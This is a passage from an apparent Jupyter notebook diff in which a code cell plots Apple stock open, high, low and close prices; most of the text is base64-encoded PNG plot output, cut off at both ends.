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\n"
+     },
+     "metadata": {
+      "needs_background": "light"
+     }
+    }
+   ],
+   "source": [
+    "df_aapl[[\"Open\", \"High\", \"Low\", \"Close\"]].plot()\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 9,
+   "metadata": {},
+   "outputs": [
+    {
+     "output_type": "display_data",
+     "data": {
+      "text/plain": "",
+      "image/svg+xml": "\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n \r\n",
+      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAloAAAJCCAYAAAAY3mkcAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4zLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvIxREBQAAIABJREFUeJzt3X+MZWd93/HPN9j1P4RC5WUuNSZjKrsC0gRHW0SEoDSpCqFRnKahchQRrxPVBbkVBBolkCqTQUKKmhYpJGoct4YhkklCZZPQBqQ4iJIiFaO1cQBnITFkElx8hw1ImAjqyObpH3On3F3P7vzY+9yfr5c0umfOnJl95vGx9+1zz49qrQUAgMn7tlkPAABgWQktAIBOhBYAQCdCCwCgE6EFANCJ0AIA6ERoAQB0IrQAADoRWgAAnVw26wEkyZVXXtnW19dnPQwAgAPdd999f9VaO3GYbecitNbX13P69OlZDwMA4EBV9ReH3dZbhwAAnQgtAIBOhBYAQCdCCwCgE6EFANCJ0AIA6ERoAQB0IrQAADoRWgAAnQgtAIBO